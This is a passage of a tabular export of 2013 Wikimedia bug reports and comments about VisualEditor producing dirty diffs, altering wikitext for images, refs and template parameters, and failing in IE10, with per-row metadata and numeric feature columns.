+**Severity**: normal",Needs Triage,90.0,1372095840,1372096490.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-dgi4ucdvhwjzbauoa7td,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+245599,VisualEditor adding spurious pipe separators to image syntax,"
+
+*** This bug has been marked as a duplicate of bug 50012 ***",,,1372096490,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dgi4ucdvhwjzbauoa7td,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+245594,VisualEditor adding spurious pipe separators to image syntax,"[[File:Delta logo.svg|right|200px]] --> [[File:Delta logo.svg|right|200px|]]
+
+I've seen this in a few other diffs as well.",,,1372095892,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dgi4ucdvhwjzbauoa7td,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+52108,VisualEditor template parameter normalization results in dirty diffs,"https://en.wikipedia.org/w/index.php?title=Laura_Pannack&diff=561375041&oldid=561336738
+
+The change should have only italicized a few publication names. Instead it changed...
+
+* Winner, Magenta Foundation award<ref>{{cite book |last= Pritchard | first= Lisa |authorlink= Lisa Pritchard|title= Setting Up a Successful Photography Business: How to be a Professional Photographer |url= http://books.google.co.uk/books?id=Nn4Zt5SBcswC&pg=PA134&lpg=PA134&dq=laura+pannack++Setting+up+a+Successful+Photography+Business&source=bl&ots=jPQTB9IuYE&sig=7xtX-t9WFQYB76Xo_ZlU06BnIrE&hl=en&sa=X&ei=QehaUZGZCJSa1AWR_oCICw&ved=0CC8Q6AEwAA#v=onepage&q=laura%20pannack%20%20Setting%20up%20a%20Successful%20Photography%20Business&f=false|accessdate= 2 April 2013 |year= |publisher= A & C Black Publishers Ltd|location= London|isbn= 978-1-408125-77-9|page= 134| quote = Laura Pannack ... twice winner of the Magenta Foundation Award}}</ref>
+
+to...
+
+* Winner, Magenta Foundation award<ref>{{cite book |last=Pritchard | first=Lisa |authorlink=Lisa Pritchard|title=Setting Up a Successful Photography Business: How to be a Professional Photographer |url=http://books.google.co.uk/books?id=Nn4Zt5SBcswC&pg=PA134&lpg=PA134&dq=laura+pannack++Setting+up+a+Successful+Photography+Business&source=bl&ots=jPQTB9IuYE&sig=7xtX-t9WFQYB76Xo_ZlU06BnIrE&hl=en&sa=X&ei=QehaUZGZCJSa1AWR_oCICw&ved=0CC8Q6AEwAA#v=onepage&q=laura%20pannack%20%20Setting%20up%20a%20Successful%20Photography%20Business&f=false|accessdate=2 April 2013 |year=|publisher=A & C Black Publishers Ltd|location=London|isbn=978-1-408125-77-9|page=134| quote =Laura Pannack ... twice winner of the Magenta Foundation Award}}</ref>
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372088640,1373163467.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-k43bzyrhgig4srkamrde,task_description,invalid,True,c1,2,False,False,True,-1,,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+245113,VisualEditor template parameter normalization results in dirty diffs,"Closing ""bugs"" which consist of multiple issues.",,,1373163467,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0
+245110,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=Save_Rock_and_Roll&curid=38419944&diff=561416388&oldid=561387755,,,1372107875,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245105,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=Ivan_Tan&curid=39767321&diff=561408770&oldid=561406619,,,1372104798,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245101,VisualEditor template parameter normalization results in dirty diffs,"(In reply to comment #9)
+> This remains a duplicate of bug 50066; that is merged on VE end. There are
+> some artefacts due to Parsoid which are different bugs (which are also fixed
+> and being deployed this afternoon, hopefully) [...]
+
+Let's do this: mark this bug as resolved when it's actually resolved. Not when it may be hopefully resolved in the future.",,,1372104345,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+245096,VisualEditor template parameter normalization results in dirty diffs,"https://en.wikipedia.org/w/index.php?title=United_States_presidential_election,_1844&curid=40514&diff=561407211&oldid=559883253",,,1372104272,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245093,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=Sela_(Saudi_Arabia)&curid=26371208&diff=561403748&oldid=561269241,,,1372102659,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245090,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=Kamelot&curid=1161493&diff=561402036&oldid=560661945,,,1372102018,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245086,VisualEditor template parameter normalization results in dirty diffs,"This remains a duplicate of bug 50066; that is merged on VE end. There are some artefacts due to Parsoid which are different bugs (which are also fixed and being deployed this afternoon, hopefully), but Bugzilla doesn't have ""dupe of these seven bugs"" as an option.
+
+*** This bug has been marked as a duplicate of bug 50066 ***",,,1372101714,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0
+245082,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=19th_Virginia_Infantry&curid=25759369&diff=561398799&oldid=561398641,,,1372100288,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245079,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=Dan_Penteado&curid=13006822&diff=561396894&oldid=561392351,,,1372099355,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245076,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=Low_Orbit_Ion_Cannon&curid=28240388&diff=561396775&oldid=560499820,,,1372099302,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245071,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=MTV&curid=18856&diff=561395466&oldid=561389102,,,1372098643,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245068,VisualEditor template parameter normalization results in dirty diffs,"https://en.wikipedia.org/w/index.php?title=Wappingers_Falls,_New_York&curid=126391&diff=561394799&oldid=561394670",,,1372098386,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245063,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=Wild_Pack&curid=29143457&diff=561394555&oldid=561394449,,,1372098360,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245059,VisualEditor template parameter normalization results in dirty diffs,"Re-opening this for now. This doesn't appear to be fixed:
+
+https://en.wikipedia.org/w/index.php?title=Paul_Evans_(footballer_born_1973)&curid=15575267&diff=561390930&oldid=561390588",,,1372096583,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0
+245057,VisualEditor template parameter normalization results in dirty diffs,"
+
+*** This bug has been marked as a duplicate of bug 50066 ***",,,1372091701,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52106,VisualEditor ref weirdness,"https://en.wikipedia.org/w/index.php?title=Laura_Pannack&diff=561336738&oldid=557984097
+
+<ref name=""telegraph""/> --> <ref name=""telegraph""></ref>
+
+Weird.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372088340,1372091672.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-jvpgelxqydhjqfkhkgas,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1
+244928,VisualEditor ref weirdness,https://en.wikipedia.org/w/index.php?title=Save_Rock_and_Roll&curid=38419944&diff=561416388&oldid=561387755,,,1372107851,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jvpgelxqydhjqfkhkgas,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+244922,VisualEditor ref weirdness,https://en.wikipedia.org/w/index.php?title=Daniel_Kahneman&curid=165492&diff=561411461&oldid=560179630,,,1372106999,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jvpgelxqydhjqfkhkgas,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+244916,VisualEditor ref weirdness,"
+
+*** This bug has been marked as a duplicate of bug 50066 ***",,,1372091672,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jvpgelxqydhjqfkhkgas,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52101,VisualEditor spurious attribute normalization (resulting in dirty diffs),"https://en.wikipedia.org/w/index.php?title=Christopher_Walken&curid=167790&diff=561335042&oldid=560573850
+
+https://en.wikipedia.org/w/index.php?title=Complement_fixation_test&diff=561335484&oldid=540954235
+
+https://en.wikipedia.org/w/index.php?title=List_of_first-class_cricket_records&curid=5507023&diff=561342472&oldid=560120426
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372086060,1373163469.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-dmz6g3cracqeyd3hxrar,task_description,invalid,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+244653,VisualEditor spurious attribute normalization (resulting in dirty diffs),"Closing ""bugs"" which consist of multiple issues.",,,1373163469,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dmz6g3cracqeyd3hxrar,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0
+244648,VisualEditor spurious attribute normalization (resulting in dirty diffs),"This is still happening:
+
+https://en.wikipedia.org/w/index.php?title=Wappingers_Falls,_New_York&curid=126391&diff=561392322&oldid=560081821",,,1372097247,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dmz6g3cracqeyd3hxrar,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0
+244641,VisualEditor spurious attribute normalization (resulting in dirty diffs),"
+
+*** This bug has been marked as a duplicate of bug 50066 ***",,,1372091521,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dmz6g3cracqeyd3hxrar,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52099,VisualEditor dirty diff,"https://en.wikipedia.org/w/index.php?title=Paula_Deen&diff=561368754&oldid=561308417
+
+I did a section edit to link ""Food Network"". This was the resulting diff.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372085520,1372091385.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-4c7jfgdvdgsa7tz3aom4,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+244489,VisualEditor dirty diff,"Sorry about this; fixed by bug 50066 which we'll deploy in a few minutes.
+
+*** This bug has been marked as a duplicate of bug 50066 ***",,,1372091385,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4c7jfgdvdgsa7tz3aom4,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+52086,VisualEditor: Impossible to review or save changes in IE10,"Screenshot of bug
+
+The ""review changes"" flyout looks broken and doesn't actually do anything.
+
+There's a script error:
+
+SCRIPT70: Permission denied 
+load.php, line 18 character 453
+
+With ""format JavaScript"" enabled (a real godsend of IE's dev tools) we see that the error is occurring on the first line of this for statement:
+
+for(i=0,len=oldDoc.head.childNodes.length;
+        i<len;
+        i++){
+
+I tried to get a better output using debug=true, but this seems to totally break VE (in IE10 at least).
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+
+**Attached**: {F11482}",Needs Triage,90.0,1372059000,1372084871.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-efd5wnljemqy75ubgwoi,task_description,resolved,True,c1,2,False,False,True,-1,,0,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,1,1
+243805,VisualEditor: Impossible to review or save changes in IE10,"This is bug 49187 (and yes, it's critical, hence we've re-blacklisted IE until we can get this fixed). :-(
+
+(IE has a hard limit on how many scripts it will take for a given page; debug=true suspends ResourceLoader, meaning all ~200 VE files come individually - along with the dozens of non-VE MW scripts - which IE ignores after the first ten or so, breaking everything. This is a known IE-is-terrible bug.)
+
+*** This bug has been marked as a duplicate of bug 49187 ***",,,1372084871,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-efd5wnljemqy75ubgwoi,task_subcomment,,True,c1,2,True,,,-1,,1,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+243800,VisualEditor: Impossible to review or save changes in IE10,It's also impossible to save the page; same script error occurs. Upping to critical.,,,1372059463,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-efd5wnljemqy75ubgwoi,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+52080,VisualEditor: still making unrelated modifications,"See https://en.wikipedia.org/w/index.php?title=Royal_Lancaster_Infirmary&diff=561254127&oldid=560972172 for example.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372037520,1372039230.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-jazdgxdcnzvf2vvkoqay,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243400,VisualEditor: still making unrelated modifications,This is still happening: https://en.wikipedia.org/w/index.php?title=Genie_%28feral_child%29&diff=564429158&oldid=564425048 Can you please check? Thanks.,,,1373984013,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-jazdgxdcnzvf2vvkoqay,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,0,0
+243397,VisualEditor: still making unrelated modifications,"This particular one is (entirely cryptically) bug 50066, which is going to be fixed in the next few minutes and deployed tomorrow morning PDT.
+
+*** This bug has been marked as a duplicate of bug 50066 ***",,,1372039230,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jazdgxdcnzvf2vvkoqay,task_subcomment,,True,c1,2,True,,,-1,,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+52072,"VisualEditor: ""read"" version after save page not picking up on category removals","If a user hits edit, removes a category and saves, the read-only article they're then presented with still includes the old category - or at least, does on https://en.wikipedia.org/wiki/Sumali
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372034880,1372036218.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ndrderb5cpy5obe7r7so,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,0
+242871,"VisualEditor: ""read"" version after save page not picking up on category removals","
+
